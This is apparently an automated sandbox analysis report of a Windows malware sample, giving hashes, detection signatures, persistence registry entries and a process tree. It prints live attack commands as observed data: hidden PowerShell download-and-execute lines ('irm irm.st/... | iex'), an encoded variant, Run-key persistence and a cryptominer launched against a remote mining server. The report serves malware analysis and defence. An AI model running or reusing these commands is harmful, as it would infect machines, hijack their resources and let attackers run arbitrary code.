1b8c997a3195a2d996078aa5100c6f489c1e1f30b87c46faad55a339245b2d55

Analysis

max time kernel
65s
max time network
153s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
27/10/2026, 04:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 3.2MB
Sample261027-e47vvs1wbv
SHA256 1b8c997a3195a2d996078aa5100c6f489c1e1f30b87c46faad55a339245b2d55
MD5 e2653344845af36b4e46a3fc106985a8
SHA1 4ada6a08bb06cdb478e1c253657896a9388f602e
SHA512 2e6a55218493340b453240e87702b673ad5593d8deed238eb057ccad47706eaf663c9d302b4f1ff773957206170b394f0d442c1073d8d721312c6e36ecfa8a01
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
TLSH
T103F58E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution persistence

Malware Config

Signatures

Badlisted process makes network request 44 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
5	2724	powershell.exe
6	1904	powershell.exe
8	1904	powershell.exe
11	5756	powershell.exe
12	976	powershell.exe
13	1324	powershell.exe
14	1792	powershell.exe
15	1244	powershell.exe
16	3536	powershell.exe
17	4712	powershell.exe
18	3752	powershell.exe
19	252	powershell.exe
20	2368	powershell.exe
21	4392	powershell.exe
22	6116	powershell.exe
23	4192	powershell.exe
24	1316	powershell.exe
25	1812	powershell.exe
26	4656	powershell.exe
27	5724	powershell.exe
28	4420	powershell.exe
29	4368	powershell.exe
30	4240	powershell.exe
31	4092	powershell.exe
32	2876	powershell.exe
33	2748	powershell.exe
34	4520	powershell.exe
35	5664	powershell.exe
37	5480	powershell.exe
38	4180	powershell.exe
39	2888	powershell.exe
40	5152	powershell.exe
41	5908	powershell.exe
42	1652	powershell.exe
43	5516	powershell.exe
44	4552	powershell.exe
45	4888	powershell.exe
46	2020	powershell.exe
47	3520	powershell.exe
48	5920	powershell.exe
49	4472	powershell.exe
50	2672	powershell.exe
51	3424	powershell.exe
52	708	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5152	powershell.exe
3492	powershell.exe
6120	powershell.exe
2020	powershell.exe
708	powershell.exe
4584	powershell.exe
2896	powershell.exe
6104	powershell.exe
4420	powershell.exe
4240	powershell.exe
1776	powershell.exe
1956	powershell.exe
4832	powershell.exe
1464	powershell.exe
1652	powershell.exe
5732	powershell.exe
2944	powershell.exe
4580	powershell.exe
3252	powershell.exe
252	powershell.exe
2876	powershell.exe
2672	powershell.exe
1472	powershell.exe
1216	powershell.exe
1696	powershell.exe
5820	powershell.exe
4912	powershell.exe
3536	powershell.exe
4520	powershell.exe
5664	powershell.exe
5480	powershell.exe
2020	powershell.exe
2968	powershell.exe
4484	powershell.exe
4712	powershell.exe
1316	powershell.exe
4656	powershell.exe
2832	powershell.exe
3524	powershell.exe
4316	powershell.exe
1276	powershell.exe
6116	powershell.exe
1632	powershell.exe
1324	powershell.exe
5724	powershell.exe
2380	powershell.exe
2888	powershell.exe
3944	powershell.exe
2212	powershell.exe
4916	powershell.exe
4472	powershell.exe
4180	powershell.exe
1456	powershell.exe
4624	powershell.exe
2964	powershell.exe
4092	powershell.exe
6100	powershell.exe
4248	powershell.exe
4644	powershell.exe
4692	powershell.exe
3236	powershell.exe
2880	powershell.exe
2680	powershell.exe
4440	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe

Executes dropped EXE 1 IoCs

pid	Process
4460	SystemSettingsBroker.exe

Adds Run key to start application 2 TTPs 22 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/925392 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/437391 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/369052 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/603011 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/958812 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/358966 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/268094 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/733296 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/778587 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/714174 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/473226 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/992497 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/783680 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/338605 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/219186 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/791935 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/747447 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/761117 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/531558 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/355916 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/528624 \| iex\""	powershell.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-696679853-3915825385-3233721679-1000\Software\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "powershell.exe -NoProfile -WindowStyle Hidden -Command \"irm irm.st/196826 \| iex\""	powershell.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2724	powershell.exe
2724	powershell.exe
1904	powershell.exe
1904	powershell.exe
1904	powershell.exe
5756	powershell.exe
5756	powershell.exe
5756	powershell.exe
976	powershell.exe
976	powershell.exe
976	powershell.exe
1324	powershell.exe
1324	powershell.exe
1324	powershell.exe
1792	powershell.exe
1792	powershell.exe
1244	powershell.exe
1244	powershell.exe
1244	powershell.exe
3536	powershell.exe
3536	powershell.exe
4712	powershell.exe
4712	powershell.exe
4712	powershell.exe
3752	powershell.exe
3752	powershell.exe
252	powershell.exe
252	powershell.exe
2368	powershell.exe
2368	powershell.exe
4392	powershell.exe
4392	powershell.exe
4392	powershell.exe
6116	powershell.exe
6116	powershell.exe
4192	powershell.exe
4192	powershell.exe
4192	powershell.exe
1316	powershell.exe
1316	powershell.exe
1812	powershell.exe
1812	powershell.exe
1812	powershell.exe
4656	powershell.exe
4656	powershell.exe
5724	powershell.exe
5724	powershell.exe
5724	powershell.exe
4420	powershell.exe
4420	powershell.exe
4368	powershell.exe
4368	powershell.exe
4368	powershell.exe
4240	powershell.exe
4240	powershell.exe
4092	powershell.exe
4092	powershell.exe
4092	powershell.exe
2876	powershell.exe
2876	powershell.exe
2748	powershell.exe
2748	powershell.exe
2748	powershell.exe
4520	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeIncreaseQuotaPrivilege	1904	powershell.exe
Token: SeSecurityPrivilege	1904	powershell.exe
Token: SeTakeOwnershipPrivilege	1904	powershell.exe
Token: SeLoadDriverPrivilege	1904	powershell.exe
Token: SeSystemProfilePrivilege	1904	powershell.exe
Token: SeSystemtimePrivilege	1904	powershell.exe
Token: SeProfSingleProcessPrivilege	1904	powershell.exe
Token: SeIncBasePriorityPrivilege	1904	powershell.exe
Token: SeCreatePagefilePrivilege	1904	powershell.exe
Token: SeBackupPrivilege	1904	powershell.exe
Token: SeRestorePrivilege	1904	powershell.exe
Token: SeShutdownPrivilege	1904	powershell.exe
Token: SeDebugPrivilege	1904	powershell.exe
Token: SeSystemEnvironmentPrivilege	1904	powershell.exe
Token: SeRemoteShutdownPrivilege	1904	powershell.exe
Token: SeUndockPrivilege	1904	powershell.exe
Token: SeManageVolumePrivilege	1904	powershell.exe
Token: 33	1904	powershell.exe
Token: 34	1904	powershell.exe
Token: 35	1904	powershell.exe
Token: 36	1904	powershell.exe
Token: SeDebugPrivilege	5756	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeIncreaseQuotaPrivilege	976	powershell.exe
Token: SeSecurityPrivilege	976	powershell.exe
Token: SeTakeOwnershipPrivilege	976	powershell.exe
Token: SeLoadDriverPrivilege	976	powershell.exe
Token: SeSystemProfilePrivilege	976	powershell.exe
Token: SeSystemtimePrivilege	976	powershell.exe
Token: SeProfSingleProcessPrivilege	976	powershell.exe
Token: SeIncBasePriorityPrivilege	976	powershell.exe
Token: SeCreatePagefilePrivilege	976	powershell.exe
Token: SeBackupPrivilege	976	powershell.exe
Token: SeRestorePrivilege	976	powershell.exe
Token: SeShutdownPrivilege	976	powershell.exe
Token: SeDebugPrivilege	976	powershell.exe
Token: SeSystemEnvironmentPrivilege	976	powershell.exe
Token: SeRemoteShutdownPrivilege	976	powershell.exe
Token: SeUndockPrivilege	976	powershell.exe
Token: SeManageVolumePrivilege	976	powershell.exe
Token: 33	976	powershell.exe
Token: 34	976	powershell.exe
Token: 35	976	powershell.exe
Token: 36	976	powershell.exe
Token: SeDebugPrivilege	1324	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeIncreaseQuotaPrivilege	1792	powershell.exe
Token: SeSecurityPrivilege	1792	powershell.exe
Token: SeTakeOwnershipPrivilege	1792	powershell.exe
Token: SeLoadDriverPrivilege	1792	powershell.exe
Token: SeSystemProfilePrivilege	1792	powershell.exe
Token: SeSystemtimePrivilege	1792	powershell.exe
Token: SeProfSingleProcessPrivilege	1792	powershell.exe
Token: SeIncBasePriorityPrivilege	1792	powershell.exe
Token: SeCreatePagefilePrivilege	1792	powershell.exe
Token: SeBackupPrivilege	1792	powershell.exe
Token: SeRestorePrivilege	1792	powershell.exe
Token: SeShutdownPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeSystemEnvironmentPrivilege	1792	powershell.exe
Token: SeRemoteShutdownPrivilege	1792	powershell.exe
Token: SeUndockPrivilege	1792	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 1144 wrote to memory of 2724	1144	2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe	89
PID 2724 wrote to memory of 1904	2724	powershell.exe	91
PID 5756 wrote to memory of 976	5756	powershell.exe	96
PID 1904 wrote to memory of 4460	1904	powershell.exe	98
PID 1324 wrote to memory of 1792	1324	powershell.exe	101
PID 1244 wrote to memory of 3536	1244	powershell.exe	105
PID 4712 wrote to memory of 3752	4712	powershell.exe	109
PID 252 wrote to memory of 2368	252	powershell.exe	114
PID 4392 wrote to memory of 6116	4392	powershell.exe	118
PID 4192 wrote to memory of 1316	4192	powershell.exe	122
PID 1812 wrote to memory of 4656	1812	powershell.exe	126
PID 5724 wrote to memory of 4420	5724	powershell.exe	130
PID 4368 wrote to memory of 4240	4368	powershell.exe	134
PID 4092 wrote to memory of 2876	4092	powershell.exe	138
PID 2748 wrote to memory of 4520	2748	powershell.exe	142
PID 5664 wrote to memory of 2380	5664	powershell.exe	231
PID 5480 wrote to memory of 4180	5480	powershell.exe	150
PID 2888 wrote to memory of 5152	2888	powershell.exe	154
PID 5908 wrote to memory of 1652	5908	powershell.exe	158
PID 5516 wrote to memory of 4552	5516	powershell.exe	162
PID 4888 wrote to memory of 2020	4888	powershell.exe	166
PID 3520 wrote to memory of 5920	3520	powershell.exe	170
PID 4472 wrote to memory of 2672	4472	powershell.exe	277
PID 3424 wrote to memory of 708	3424	powershell.exe	178

C:\Users\Admin\AppData\Local\Temp\2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-26_e2653344845af36b4e46a3fc106985a8_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:1144
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2724
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "$id='';for($i=0;$i -lt 6;$i++){$id+=(Get-Random -Minimum 0 -Maximum 10)};iex (irm ('irm.st/'+$id))"
    3⤵
    - Badlisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1904
  - - C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe
      "C:\Users\Admin\AppData\Roaming\Microsoft\MicrosoftEdge\SystemSettingsBroker.exe" --url stratum+tcp://c2.doxbin.cy:3333 --user x.xmrrig
      4⤵
      Executes dropped EXE
      PID:4460

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/747447 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/747447 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/761117 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1324
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/761117 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/925392 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1244
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/925392 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:3536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/714174 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4712
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/714174 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:3752

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/358966 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:252
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/358966 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:2368

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/437391 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4392
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/437391 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:6116

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/268094 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4192
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/268094 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:1316

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/473226 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:1812
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/473226 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:4656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/992497 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:5724
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/992497 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:4420

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/733296 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4368
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/733296 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:4240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/531558 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/531558 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:2876

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/355916 | iex"
1⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/355916 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  PID:4520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/783680 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:5664
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/783680 | iex"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:2380

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/528624 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:5480
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/528624 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:4180

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/369052 | iex"
1⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of WriteProcessMemory
PID:2888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/369052 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:5152

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/338605 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:5908
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/338605 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:1652

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/219186 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:5516
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/219186 | iex"
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  PID:4552

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/603011 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -WindowStyle Hidden -Command "irm irm.st/603011 | iex"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  PID:2020

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -WindowStyle Hidden -Command "irm irm.st/196826 | iex"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:3520
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
